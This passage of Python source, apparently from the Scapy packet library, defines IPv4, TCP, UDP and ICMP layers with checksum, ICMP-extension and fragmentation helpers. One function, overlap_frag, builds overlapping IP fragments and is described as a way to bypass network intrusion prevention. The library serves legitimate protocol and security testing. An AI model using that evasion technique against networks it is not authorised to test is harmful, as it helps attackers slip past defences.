struct.pack(\"B\", self.proto) + self.payload.hashret()\n        if conf.checkIPsrc and conf.checkIPaddr:\n            return (strxor(inet_pton(socket.AF_INET, self.src),\n                           inet_pton(socket.AF_INET, self.dst)) +\n                    struct.pack(\"B\", self.proto) + self.payload.hashret())\n        return struct.pack(\"B\", self.proto) + self.payload.hashret()\n\n    def answers(self, other):\n        if not conf.checkIPinIP:  # skip IP in IP and IPv6 in IP\n            if self.proto in [4, 41]:\n                return self.payload.answers(other)\n            if isinstance(other, IP) and other.proto in [4, 41]:\n                return self.answers(other.payload)\n            if conf.ipv6_enabled \\\n               and isinstance(other, scapy.layers.inet6.IPv6) \\\n               and other.nh in [4, 41]:\n                return self.answers(other.payload)\n        if not isinstance(other, IP):\n            return 0\n        if conf.checkIPaddr:\n            if other.dst == \"224.0.0.251\" and self.dst == \"224.0.0.251\":  # mDNS  # noqa: E501\n                return self.payload.answers(other.payload)\n            elif (self.dst != other.src):\n                return 0\n        if ((self.proto == socket.IPPROTO_ICMP) and\n            (isinstance(self.payload, ICMP)) and\n                (self.payload.type in [3, 4, 5, 11, 12])):\n            # ICMP error message\n            return self.payload.payload.answers(other)\n\n        else:\n            if ((conf.checkIPaddr and (self.src != other.dst)) or\n                    (self.proto != other.proto)):\n                return 0\n            return self.payload.answers(other.payload)\n\n    def mysummary(self):\n        s = self.sprintf(\"%IP.src% > %IP.dst% %IP.proto%\")\n        if self.frag:\n            s += \" frag:%i\" % self.frag\n        return s\n\n    def fragment(self, fragsize=1480):\n        \"\"\"Fragment IP datagrams\"\"\"\n        return fragment(self, fragsize=fragsize)\n\n\ndef in4_pseudoheader(proto, u, plen):\n    # type: (int, IP, int) -> bytes\n    \"\"\"IPv4 Pseudo Header as defined in RFC793 as bytes\n\n    :param proto: value of upper layer protocol\n    :param u: IP layer instance\n    :param plen: the length of the upper layer and payload\n    \"\"\"\n    u = u.copy()\n    if u.len is not None:\n        if u.ihl is None:\n            olen = sum(len(x) for x in u.options)\n            ihl = 5 + olen // 4 + (1 if olen % 4 else 0)\n        else:\n            ihl = u.ihl\n        ln = max(u.len - 4 * ihl, 0)\n    else:\n        ln = plen\n\n    # Filter out IPOption_LSRR and IPOption_SSRR\n    sr_options = [opt for opt in u.options if isinstance(opt, IPOption_LSRR) or\n                  isinstance(opt, IPOption_SSRR)]\n    len_sr_options = len(sr_options)\n    if len_sr_options == 1 and len(sr_options[0].routers):\n        # The checksum must be computed using the final\n        # destination address\n        u.dst = sr_options[0].routers[-1]\n    elif len_sr_options > 1:\n        message = \"Found %d Source Routing Options! \"\n        message += \"Falling back to IP.dst for checksum computation.\"\n        warning(message, len_sr_options)\n\n    return struct.pack(\"!4s4sHH\",\n                       inet_pton(socket.AF_INET, u.src),\n                       inet_pton(socket.AF_INET, u.dst),\n                       proto,\n                       ln)\n\n\ndef in4_chksum(proto, u, p):\n    # type: (int, IP, bytes) -> int\n    \"\"\"IPv4 Pseudo Header checksum as defined in RFC793\n\n    :param proto: value of upper layer protocol\n    :param u: upper layer instance\n    :param p: the payload of the upper layer provided as a string\n    \"\"\"\n    if not isinstance(u, IP):\n        warning(\"No IP underlayer to compute checksum. Leaving null.\")\n        return 0\n    psdhdr = in4_pseudoheader(proto, u, len(p))\n    return checksum(psdhdr + p)\n\n\ndef _is_ipv6_layer(p):\n    # type: (Packet) -> bytes\n    return (isinstance(p, scapy.layers.inet6.IPv6) or\n            isinstance(p, scapy.layers.inet6._IPv6ExtHdr))\n\n\ndef tcp_pseudoheader(tcp):\n    # type: (TCP) -> bytes\n    \"\"\"Pseudoheader of a TCP packet as bytes\n\n    Requires underlayer to be either IP or IPv6\n    \"\"\"\n    if isinstance(tcp.underlayer, IP):\n        plen = len(bytes(tcp))\n        return in4_pseudoheader(socket.IPPROTO_TCP, tcp.underlayer, plen)\n    elif conf.ipv6_enabled and _is_ipv6_layer(tcp.underlayer):\n        plen = len(bytes(tcp))\n        return raw(scapy.layers.inet6.in6_pseudoheader(\n            socket.IPPROTO_TCP, tcp.underlayer, plen))\n    else:\n        raise ValueError(\"TCP packet does not have IP or IPv6 underlayer\")\n\n\ndef calc_tcp_md5_hash(tcp, key):\n    # type: (TCP, bytes) -> bytes\n    \"\"\"Calculate TCP-MD5 hash from packet and return a 16-byte string\"\"\"\n    import hashlib\n\n    h = hashlib.md5()  # nosec\n    tcp_bytes = bytes(tcp)\n    h.update(tcp_pseudoheader(tcp))\n    h.update(tcp_bytes[:16])\n    h.update(b\"\\x00\\x00\")\n    h.update(tcp_bytes[18:])\n    h.update(key)\n\n    return h.digest()\n\n\ndef sign_tcp_md5(tcp, key):\n    # type: (TCP, bytes) -> None\n    \"\"\"Append TCP-MD5 signature to tcp packet\"\"\"\n    sig = calc_tcp_md5_hash(tcp, key)\n    tcp.options = tcp.options + [('MD5', sig)]\n\n\nclass TCP(Packet):\n    name = \"TCP\"\n    fields_desc = [ShortEnumField(\"sport\", 20, TCP_SERVICES),\n                   ShortEnumField(\"dport\", 80, TCP_SERVICES),\n                   IntField(\"seq\", 0),\n                   IntField(\"ack\", 0),\n                   BitField(\"dataofs\", None, 4),\n                   BitField(\"reserved\", 0, 3),\n                   FlagsField(\"flags\", 0x2, 9, \"FSRPAUECN\"),\n                   ShortField(\"window\", 8192),\n                   XShortField(\"chksum\", None),\n                   ShortField(\"urgptr\", 0),\n                   TCPOptionsField(\"options\", \"\")]\n\n    def post_build(self, p, pay):\n        p += pay\n        dataofs = self.dataofs\n        if dataofs is None:\n            opt_len = len(self.get_field(\"options\").i2m(self, self.options))\n            dataofs = 5 + ((opt_len + 3) // 4)\n            dataofs = (dataofs << 4) | orb(p[12]) & 0x0f\n            p = p[:12] + chb(dataofs & 0xff) + p[13:]\n        if self.chksum is None:\n            if isinstance(self.underlayer, IP):\n                ck = in4_chksum(socket.IPPROTO_TCP, self.underlayer, p)\n                p = p[:16] + struct.pack(\"!H\", ck) + p[18:]\n            elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr):  # noqa: E501\n                ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p)  # noqa: E501\n                p = p[:16] + struct.pack(\"!H\", ck) + p[18:]\n            else:\n                log_runtime.info(\n                    \"No IP underlayer to compute checksum. Leaving null.\"\n                )\n        return p\n\n    def hashret(self):\n        if conf.checkIPsrc:\n            return struct.pack(\"H\", self.sport ^ self.dport) + self.payload.hashret()  # noqa: E501\n        else:\n            return self.payload.hashret()\n\n    def answers(self, other):\n        if not isinstance(other, TCP):\n            return 0\n        # RST packets don't get answers\n        if other.flags.R:\n            return 0\n        # We do not support the four-way handshakes with the SYN+ACK\n        # answer split in two packets (one ACK and one SYN): in that\n        # case the ACK will be seen as an answer, but not the SYN.\n        if self.flags.S:\n            # SYN packets without ACK are not answers\n            if not self.flags.A:\n                return 0\n            # SYN+ACK packets answer SYN packets\n            if not other.flags.S:\n                return 0\n        if conf.checkIPsrc:\n            if not ((self.sport == other.dport) and\n                    (self.dport == other.sport)):\n                return 0\n        # Do not check ack value for SYN packets without ACK\n        if not (other.flags.S and not other.flags.A) \\\n           and abs(other.ack - self.seq) > 2:\n            return 0\n        # Do not check ack value for RST packets without ACK\n        if self.flags.R and not self.flags.A:\n            return 1\n        if abs(other.seq - self.ack) > 2 + len(other.payload):\n            return 0\n        return 1\n\n    def mysummary(self):\n        if isinstance(self.underlayer, IP):\n            return self.underlayer.sprintf(\"TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%\")  # noqa: E501\n        elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6):  # noqa: E501\n            return self.underlayer.sprintf(\"TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%\")  # noqa: E501\n        else:\n            return self.sprintf(\"TCP %TCP.sport% > %TCP.dport% %TCP.flags%\")\n\n\nclass UDP(Packet):\n    name = \"UDP\"\n    fields_desc = [ShortEnumField(\"sport\", 53, UDP_SERVICES),\n                   ShortEnumField(\"dport\", 53, UDP_SERVICES),\n                   ShortField(\"len\", None),\n                   XShortField(\"chksum\", None), ]\n\n    def post_build(self, p, pay):\n        p += pay\n        tmp_len = self.len\n        if tmp_len is None:\n            tmp_len = len(p)\n            p = p[:4] + struct.pack(\"!H\", tmp_len) + p[6:]\n        if self.chksum is None:\n            if isinstance(self.underlayer, IP):\n                ck = in4_chksum(socket.IPPROTO_UDP, self.underlayer, p)\n                # According to RFC768 if the result checksum is 0, it should be set to 0xFFFF  # noqa: E501\n                if ck == 0:\n                    ck = 0xFFFF\n                p = p[:6] + struct.pack(\"!H\", ck) + p[8:]\n            elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr):  # noqa: E501\n                ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p)  # noqa: E501\n                # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF  # noqa: E501\n                if ck == 0:\n                    ck = 0xFFFF\n                p = p[:6] + struct.pack(\"!H\", ck) + p[8:]\n            else:\n                log_runtime.info(\n                    \"No IP underlayer to compute checksum. Leaving null.\"\n                )\n        return p\n\n    def extract_padding(self, s):\n        tmp_len = self.len - 8\n        return s[:tmp_len], s[tmp_len:]\n\n    def hashret(self):\n        return self.payload.hashret()\n\n    def answers(self, other):\n        if not isinstance(other, UDP):\n            return 0\n        if conf.checkIPsrc:\n            if self.dport != other.sport:\n                return 0\n        return self.payload.answers(other.payload)\n\n    def mysummary(self):\n        if isinstance(self.underlayer, IP):\n            return self.underlayer.sprintf(\"UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%\")  # noqa: E501\n        elif isinstance(self.underlayer, scapy.layers.inet6.IPv6):\n            return self.underlayer.sprintf(\"UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%\")  # noqa: E501\n        else:\n            return self.sprintf(\"UDP %UDP.sport% > %UDP.dport%\")\n\n\n# RFC 4884 ICMP extensions\n_ICMP_classnums = {\n    # https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml#icmp-parameters-ext-classes\n    1: \"MPLS\",\n    2: \"Interface Information\",\n    3: \"Interface Identification\",\n    4: \"Extended Information\",\n}\n\n\nclass ICMPExtension_Object(Packet):\n    name = \"ICMP Extension Object\"\n    show_indent = 0\n    fields_desc = [\n        ShortField(\"len\", None),\n        ByteEnumField(\"classnum\", 0, _ICMP_classnums),\n        ByteField(\"classtype\", 0),\n    ]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) + len(pay)\n            p = struct.pack(\"!H\", tmp_len) + p[2:]\n        return p + pay\n\n    registered_icmp_exts = {}\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_icmp_exts[cls.classnum.default] = cls\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 4:\n            classnum = _pkt[2]\n            if classnum in cls.registered_icmp_exts:\n                return cls.registered_icmp_exts[classnum]\n        return cls\n\n\nclass ICMPExtension_InterfaceInformation(ICMPExtension_Object):\n    name = \"ICMP Extension Object - Interface Information Object (RFC5837)\"\n\n    fields_desc = [\n        ShortField(\"len\", None),\n        ByteEnumField(\"classnum\", 2, _ICMP_classnums),\n        BitField(\"classtype\", 0, 2),\n        BitField(\"reserved\", 0, 2),\n        BitField(\"has_ifindex\", 0, 1),\n        BitField(\"has_ipaddr\", 0, 1),\n        BitField(\"has_ifname\", 0, 1),\n        BitField(\"has_mtu\", 0, 1),\n        ConditionalField(IntField(\"ifindex\", None), lambda pkt: pkt.has_ifindex == 1),\n        ConditionalField(ShortField(\"afi\", None), lambda pkt: pkt.has_ipaddr == 1),\n        ConditionalField(ShortField(\"reserved2\", 0), lambda pkt: pkt.has_ipaddr == 1),\n        ConditionalField(IPField(\"ip4\", None), lambda pkt: pkt.afi == 1),\n        ConditionalField(IP6Field(\"ip6\", None), lambda pkt: pkt.afi == 2),\n        ConditionalField(\n            FieldLenField(\"ifname_len\", None, fmt=\"B\", length_of=\"ifname\"),\n            lambda pkt: pkt.has_ifname == 1,\n        ),\n        ConditionalField(\n            StrLenField(\"ifname\", None, length_from=lambda pkt: pkt.ifname_len),\n            lambda pkt: pkt.has_ifname == 1,\n        ),\n        ConditionalField(IntField(\"mtu\", None), lambda pkt: pkt.has_mtu == 1),\n    ]\n\n    def self_build(self, **kwargs):\n        if self.afi is None:\n            if self.ip4 is not None:\n                self.afi = 1\n            elif self.ip6 is not None:\n                self.afi = 2\n        return ICMPExtension_Object.self_build(self, **kwargs)\n\n\nclass ICMPExtension_Header(Packet):\n    r\"\"\"\n    ICMP Extension per RFC4884.\n\n    Example::\n\n        pkt = IP(dst=\"127.0.0.1\", src=\"127.0.0.1\") / ICMP(\n            type=\"time-exceeded\",\n            code=\"ttl-zero-during-transit\",\n            ext=ICMPExtension_Header() / ICMPExtension_InterfaceInformation(\n                has_ifindex=1,\n                has_ipaddr=1,\n                has_ifname=1,\n                ip4=\"10.10.10.10\",\n                ifname=\"hey\",\n            )\n        ) / IPerror(src=\"12.4.4.4\", dst=\"12.1.1.1\") / \\\n            UDPerror(sport=42315, dport=33440) /  \\\n            b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n    \"\"\"\n\n    name = \"ICMP Extension Header (RFC4884)\"\n    show_indent = 0\n    fields_desc = [\n        BitField(\"version\", 2, 4),\n        BitField(\"reserved\", 0, 12),\n        XShortField(\"chksum\", None),\n    ]\n\n    _min_ieo_len = len(ICMPExtension_Object())\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.chksum is None:\n            ck = checksum(p)\n            p = p[:2] + chb(ck >> 8) + chb(ck & 0xFF) + p[4:]\n        return p\n\n    def guess_payload_class(self, payload):\n        if len(payload) < self._min_ieo_len:\n            return Packet.guess_payload_class(self, payload)\n        return ICMPExtension_Object\n\n\nclass _ICMPExtensionField(TrailerField):\n    # We use a TrailerField for building only. Dissection is normal.\n\n    def __init__(self):\n        super(_ICMPExtensionField, self).__init__(\n            PacketField(\n                \"ext\",\n                None,\n                ICMPExtension_Header,\n            ),\n        )\n\n    def getfield(self, pkt, s):\n        # RFC4884 section 5.2 says if the ICMP packet length\n        # is >144 then ICMP extensions start at byte 137.\n        if len(pkt.original) < 144:\n            return s, None\n        offset = 136 + len(s) - len(pkt.original)\n        data = s[offset:]\n        # Validate checksum\n        if checksum(data) == data[3:5]:\n            return s, None  # failed\n        # Dissect\n        return s[:offset], ICMPExtension_Header(data)\n\n    def addfield(self, pkt, s, val):\n        if val is None:\n            return s\n        data = bytes(val)\n        # Calc how much padding we need, not how much we deserve\n        pad = 136 - len(pkt.payload) - len(s)\n        if pad < 0:\n            warning(\"ICMPExtension_Header is after the 136th octet of ICMP.\")\n            return data\n        return super(_ICMPExtensionField, self).addfield(pkt, s, b\"\\x00\" * pad + data)\n\n\nclass _ICMPExtensionPadField(TrailerField):\n    def __init__(self):\n        super(_ICMPExtensionPadField, self).__init__(\n            StrFixedLenField(\"extpad\", \"\", length=0)\n        )\n\n    def i2repr(self, pkt, s):\n        if s and s == b\"\\x00\" * len(s):\n            return \"b'' (%s octets)\" % len(s)\n        return self.fld.i2repr(pkt, s)\n\n\ndef _ICMP_extpad_post_dissection(self, pkt):\n    # If we have padding, put it in 'extpad' for re-build\n    if pkt.ext:\n        pad = pkt.lastlayer()\n        if isinstance(pad, conf.padding_layer):\n            pad.underlayer.remove_payload()\n            pkt.extpad = pad.load\n\n\nicmptypes = {0: \"echo-reply\",\n             3: \"dest-unreach\",\n             4: \"source-quench\",\n             5: \"redirect\",\n             8: \"echo-request\",\n             9: \"router-advertisement\",\n             10: \"router-solicitation\",\n             11: \"time-exceeded\",\n             12: \"parameter-problem\",\n             13: \"timestamp-request\",\n             14: \"timestamp-reply\",\n             15: \"information-request\",\n             16: \"information-response\",\n             17: \"address-mask-request\",\n             18: \"address-mask-reply\",\n             30: \"traceroute\",\n             31: \"datagram-conversion-error\",\n             32: \"mobile-host-redirect\",\n             33: \"ipv6-where-are-you\",\n             34: \"ipv6-i-am-here\",\n             35: \"mobile-registration-request\",\n             36: \"mobile-registration-reply\",\n             37: \"domain-name-request\",\n             38: \"domain-name-reply\",\n             39: \"skip\",\n             40: \"photuris\"}\n\n\nicmpcodes = {3: {0: \"network-unreachable\",\n                    1: \"host-unreachable\",\n                    2: \"protocol-unreachable\",\n                    3: \"port-unreachable\",\n                    4: \"fragmentation-needed\",\n                    5: \"source-route-failed\",\n                    6: \"network-unknown\",\n                    7: \"host-unknown\",\n                    9: \"network-prohibited\",\n                    10: \"host-prohibited\",\n                    11: \"TOS-network-unreachable\",\n                    12: \"TOS-host-unreachable\",\n                    13: \"communication-prohibited\",\n                    14: \"host-precedence-violation\",\n                    15: \"precedence-cutoff\", },\n             5: {0: \"network-redirect\",\n                 1: \"host-redirect\",\n                 2: \"TOS-network-redirect\",\n                 3: \"TOS-host-redirect\", },\n             11: {0: \"ttl-zero-during-transit\",\n                  1: \"ttl-zero-during-reassembly\", },\n             12: {0: \"ip-header-bad\",\n                  1: \"required-option-missing\", },\n             40: {0: \"bad-spi\",\n                  1: \"authentication-failed\",\n                  2: \"decompression-failed\",\n                  3: \"decryption-failed\",\n                  4: \"need-authentification\",\n                  5: \"need-authorization\", }, }\n\n\n_icmp_answers = [\n    (8, 0),\n    (13, 14),\n    (15, 16),\n    (17, 18),\n    (33, 34),\n    (35, 36),\n    (37, 38),\n]\n\nicmp_id_seq_types = [0, 8, 13, 14, 15, 16, 17, 18, 37, 38]\n\n\nclass ICMP(Packet):\n    name = \"ICMP\"\n    fields_desc = [\n        ByteEnumField(\"type\", 8, icmptypes),\n        MultiEnumField(\"code\", 0, icmpcodes,\n                       depends_on=lambda pkt:pkt.type, fmt=\"B\"),\n        XShortField(\"chksum\", None),\n        ConditionalField(\n            XShortField(\"id\", 0),\n            lambda pkt: pkt.type in icmp_id_seq_types\n        ),\n        ConditionalField(\n            XShortField(\"seq\", 0),\n            lambda pkt: pkt.type in icmp_id_seq_types\n        ),\n        ConditionalField(\n            # Timestamp only (RFC792)\n            ICMPTimeStampField(\"ts_ori\", None),\n            lambda pkt: pkt.type in [13, 14]\n        ),\n        ConditionalField(\n            # Timestamp only (RFC792)\n            ICMPTimeStampField(\"ts_rx\", None),\n            lambda pkt: pkt.type in [13, 14]\n        ),\n        ConditionalField(\n            # Timestamp only (RFC792)\n            ICMPTimeStampField(\"ts_tx\", None),\n            lambda pkt: pkt.type in [13, 14]\n        ),\n        ConditionalField(\n            # Redirect only (RFC792)\n            IPField(\"gw\", \"0.0.0.0\"),\n            lambda pkt: pkt.type == 5\n        ),\n        ConditionalField(\n            # Parameter problem only (RFC792)\n            ByteField(\"ptr\", 0),\n            lambda pkt: pkt.type == 12\n        ),\n        ConditionalField(\n            ByteField(\"reserved\", 0),\n            lambda pkt: pkt.type in [3, 11]\n        ),\n        ConditionalField(\n            ByteField(\"length\", 0),\n            lambda pkt: pkt.type in [3, 11, 12]\n        ),\n        ConditionalField(\n            IPField(\"addr_mask\", \"0.0.0.0\"),\n            lambda pkt: pkt.type in [17, 18]\n        ),\n        ConditionalField(\n            ShortField(\"nexthopmtu\", 0),\n            lambda pkt: pkt.type == 3\n        ),\n        MultipleTypeField(\n            [\n                (ShortField(\"unused\", 0),\n                    lambda pkt:pkt.type in [11, 12]),\n                (IntField(\"unused\", 0),\n                    lambda pkt:pkt.type not in [0, 3, 5, 8, 11, 12,\n                                                13, 14, 15, 16, 17,\n                                                18])\n            ],\n            StrFixedLenField(\"unused\", \"\", length=0),\n        ),\n        # RFC4884 ICMP extension\n        ConditionalField(\n            _ICMPExtensionPadField(),\n            lambda pkt: pkt.type in [3, 11, 12],\n        ),\n        ConditionalField(\n            _ICMPExtensionField(),\n            lambda pkt: pkt.type in [3, 11, 12],\n        ),\n    ]\n\n    # To handle extpad\n    post_dissection = _ICMP_extpad_post_dissection\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.chksum is None:\n            ck = checksum(p)\n            p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:]\n        return p\n\n    def hashret(self):\n        if self.type in icmp_id_seq_types:\n            return struct.pack(\"HH\", self.id, self.seq) + self.payload.hashret()  # noqa: E501\n        return self.payload.hashret()\n\n    def answers(self, other):\n        if not isinstance(other, ICMP):\n            return 0\n        if ((other.type, self.type) in _icmp_answers and\n            self.id == other.id and\n                self.seq == other.seq):\n            return 1\n        return 0\n\n    def guess_payload_class(self, payload):\n        if self.type in [3, 4, 5, 11, 12]:\n            return IPerror\n        else:\n            return None\n\n    def mysummary(self):\n        extra = \"\"\n        if self.ext:\n            extra = self.ext.payload.sprintf(\" ext:%classnum%\")\n        if isinstance(self.underlayer, IP):\n            return self.underlayer.sprintf(\n                \"ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%\"\n            ) + extra\n        else:\n            return self.sprintf(\"ICMP %ICMP.type% %ICMP.code%\") + extra\n\n\n# IP / TCP / UDP error packets\n\nclass IPerror(IP):\n    name = \"IP in ICMP\"\n\n    def answers(self, other):\n        if not isinstance(other, IP):\n            return 0\n\n        # Check if IP addresses match\n        test_IPsrc = not conf.checkIPsrc or self.src == other.src\n        test_IPdst = self.dst == other.dst\n\n        # Check if IP ids match\n        test_IPid = not conf.checkIPID or self.id == other.id\n        test_IPid |= conf.checkIPID and self.id == socket.htons(other.id)\n\n        # Check if IP protocols match\n        test_IPproto = self.proto == other.proto\n\n        if not (test_IPsrc and test_IPdst and test_IPid and test_IPproto):\n            return 0\n\n        return self.payload.answers(other.payload)\n\n    def mysummary(self):\n        return Packet.mysummary(self)\n\n\nclass TCPerror(TCP):\n    name = \"TCP in ICMP\"\n    fields_desc = (\n        TCP.fields_desc[:2] +\n        # MayEnd after the 8 first octets.\n        [MayEnd(TCP.fields_desc[2])] +\n        TCP.fields_desc[3:]\n    )\n\n    def answers(self, other):\n        if not isinstance(other, TCP):\n            return 0\n        if conf.checkIPsrc:\n            if not ((self.sport == other.sport) and\n                    (self.dport == other.dport)):\n                return 0\n        if conf.check_TCPerror_seqack:\n            if self.seq is not None:\n                if self.seq != other.seq:\n                    return 0\n            if self.ack is not None:\n                if self.ack != other.ack:\n                    return 0\n        return 1\n\n    def mysummary(self):\n        return Packet.mysummary(self)\n\n\nclass UDPerror(UDP):\n    name = \"UDP in ICMP\"\n\n    def answers(self, other):\n        if not isinstance(other, UDP):\n            return 0\n        if conf.checkIPsrc:\n            if not ((self.sport == other.sport) and\n                    (self.dport == other.dport)):\n                return 0\n        return 1\n\n    def mysummary(self):\n        return Packet.mysummary(self)\n\n\nclass ICMPerror(ICMP):\n    name = \"ICMP in ICMP\"\n\n    def answers(self, other):\n        if not isinstance(other, ICMP):\n            return 0\n        if not ((self.type == other.type) and\n                (self.code == other.code)):\n            return 0\n        if self.code in [0, 8, 13, 14, 17, 18]:\n            if (self.id == other.id and\n                    self.seq == other.seq):\n                return 1\n            else:\n                return 0\n        else:\n            return 1\n\n    def mysummary(self):\n        return Packet.mysummary(self)\n\n\nbind_layers(Ether, IP, type=2048)\nbind_layers(CookedLinux, IP, proto=2048)\nbind_layers(GRE, IP, proto=2048)\nbind_layers(SNAP, IP, code=2048)\nbind_bottom_up(Loopback, IP, type=0)\nbind_layers(Loopback, IP, type=socket.AF_INET)\nbind_layers(IPerror, IPerror, frag=0, proto=4)\nbind_layers(IPerror, ICMPerror, frag=0, proto=1)\nbind_layers(IPerror, TCPerror, frag=0, proto=6)\nbind_layers(IPerror, UDPerror, frag=0, proto=17)\nbind_layers(IP, IP, frag=0, proto=4)\nbind_layers(IP, ICMP, frag=0, proto=1)\nbind_layers(IP, TCP, frag=0, proto=6)\nbind_layers(IP, UDP, frag=0, proto=17)\nbind_layers(IP, GRE, frag=0, proto=47)\nbind_layers(UDP, GRE, dport=4754)\n\nconf.l2types.register(DLT_RAW, IP)\nconf.l2types.register_num2layer(DLT_RAW_ALT, IP)\nconf.l2types.register(DLT_IPV4, IP)\nif OPENBSD:\n    conf.l2types.register_num2layer(228, IP)\n\nconf.l3types.register(ETH_P_IP, IP)\nconf.l3types.register_num2layer(ETH_P_ALL, IP)\n\n\ndef inet_register_l3(l2, l3):\n    \"\"\"\n    Resolves the default L2 destination address when IP is used.\n    \"\"\"\n    return getmacbyip(l3.dst)\n\n\nconf.neighbor.register_l3(Ether, IP, inet_register_l3)\nconf.neighbor.register_l3(Dot3, IP, inet_register_l3)\n\n\n###################\n#  Fragmentation  #\n###################\n\n@conf.commands.register\ndef fragment(pkt, fragsize=1480):\n    \"\"\"Fragment a big IP datagram\"\"\"\n    if fragsize < 8:\n        warning(\"fragsize cannot be lower than 8\")\n        fragsize = max(fragsize, 8)\n    lastfragsz = fragsize\n    fragsize -= fragsize % 8\n    lst = []\n    for p in pkt:\n        s = raw(p[IP].payload)\n        nb = (len(s) - lastfragsz + fragsize - 1) // fragsize + 1\n        for i in range(nb):\n            q = p.copy()\n            del q[IP].payload\n            del q[IP].chksum\n            del q[IP].len\n            if i != nb - 1:\n                q[IP].flags |= 1\n                fragend = (i + 1) * fragsize\n            else:\n                fragend = i * fragsize + lastfragsz\n            q[IP].frag += i * fragsize // 8\n            r = conf.raw_layer(load=s[i * fragsize:fragend])\n            r.overload_fields = p[IP].payload.overload_fields.copy()\n            q.add_payload(r)\n            lst.append(q)\n    return lst\n\n\n@conf.commands.register\ndef overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None):\n    \"\"\"Build overlapping fragments to bypass NIPS\n\np:                the original packet\noverlap:          the overlapping data\nfragsize:         the fragment size of the packet\noverlap_fragsize: the fragment size of the overlapping packet\"\"\"\n\n    if overlap_fragsize is None:\n        overlap_fragsize = fragsize\n    q = p.copy()\n    del q[IP].payload\n    q[IP].add_payload(overlap)\n\n    qfrag = fragment(q, overlap_fragsize)\n    qfrag[-1][IP].flags |= 1\n    return qfrag + fragment(p, fragsize)\n\n\nclass BadFragments(ValueError):\n    def __init__(self, *args, **kwargs):\n        self.frags = kwargs.pop(\"frags\", None)\n        super(BadFragments, self).__init__(*args, **kwargs)\n\n\ndef _defrag_iter_and_check_offsets(frags):\n    \"\"\"\n    Internal generator used in _defrag_ip_pkt\n    \"\"\"\n    offset = 0\n    for pkt, o, length in frags:\n        if offset != o:\n            if offset > o:\n                op = \">\"\n            else:\n                op = \"<\"\n            warning(\"Fragment overlap (%i %s %i) on %r\" % (offset, op, o, pkt))\n            raise BadFragments\n        offset += length\n        yield bytes(pkt[IP].payload)\n\n\ndef _defrag_ip_pkt(pkt, frags):\n    \"\"\"\n    Defragment a single IP packet.\n\n    :param pkt: the new pkt\n    :param frags: a defaultdict(list) used for storage\n    :return: a tuple (fragmented, defragmented_value)\n    \"\"\"\n    ip = pkt[IP]\n    if pkt.frag != 0 or ip.flags.MF:\n        # fragmented !\n        uid = (ip.id, ip.src, ip.dst, ip.proto)\n        if ip.len is None or ip.ihl is None:\n            fraglen = len(ip.payload)\n        else:\n            fraglen = ip.len - (ip.ihl << 2)\n        # (pkt, frag offset, frag len)\n        frags[uid].append((pkt, ip.frag << 3, fraglen))\n        if not ip.flags.MF:  # no more fragments = last fragment\n            curfrags = sorted(frags[uid], key=lambda x: x[1])  # sort by offset\n            try:\n                data = b\"\".join(_defrag_iter_and_check_offsets(curfrags))\n            except ValueError:\n                # bad fragment\n                badfrags = frags[uid]\n                del frags[uid]\n                raise BadFragments(frags=badfrags)\n            # re-build initial packet without fragmentation\n            p = curfrags[0][0].copy()\n            pay_class = p[IP].payload.__class__\n            p[IP].flags.MF = False\n            p[IP].remove_payload()\n            p[IP].len = None\n            p[IP].chksum = None\n            # append defragmented payload\n            p /= pay_class(data)\n            # cleanup\n            del frags[uid]\n            return True, p\n        return True, None\n    return False, pkt\n\n\ndef _defrag_logic(plist, complete=False):\n    \"\"\"\n    Internal function used to defragment a list of packets.\n    It contains the logic behind the defrag() and defragment() functions\n    \"\"\"\n    frags = defaultdict(list)\n    final = []\n    notfrag = []\n    badfrag = []\n    # Defrag\n    for i, pkt in enumerate(plist):\n        if IP not in pkt:\n            # no IP layer\n            if complete:\n                final.append(pkt)\n            continue\n        try:\n            fragmented, defragmented_value = _defrag_ip_pkt(\n                pkt,\n                frags,\n            )\n        except BadFragments as ex:\n            if complete:\n                final.extend(ex.frags)\n            else:\n                badfrag.extend(ex.frags)\n            continue\n        if complete and defragmented_value:\n            final.append(defragmented_value)\n        elif defragmented_value:\n            if fragmented:\n                final.append(defragmented_value)\n            else:\n                notfrag.append(defragmented_value)\n    # Return\n    if complete:\n        if hasattr(plist, \"listname\"):\n            name = \"Defragmented %s\" % plist.listname\n        else:\n            name = \"Defragmented\"\n        return PacketList(final, name=name)\n    else:\n        return PacketList(notfrag), PacketList(final), PacketList(badfrag)\n\n\n@conf.commands.register\ndef defrag(plist):\n    \"\"\"defrag(plist) -> ([not fragmented], [defragmented],\n                  [ [bad fragments], [bad fragments], ... ])\"\"\"\n    return _defrag_logic(plist, complete=False)\n\n\n@conf.commands.register\ndef defragment(plist):\n    \"\"\"defragment(plist) -> plist defragmented as much as possible \"\"\"\n    return _defrag_logic(plist, complete=True)\n\n\n# Add timeskew_graph() method to PacketList\ndef _packetlist_timeskew_graph(self, ip, **kargs):\n    \"\"\"Tries to graph the timeskew between the timestamps and real time for a given ip\"\"\"  # noqa: E501\n    # Defer imports of matplotlib until its needed\n    # because it has a heavy dep chain\n    from scapy.libs.matplot import (\n        plt,\n        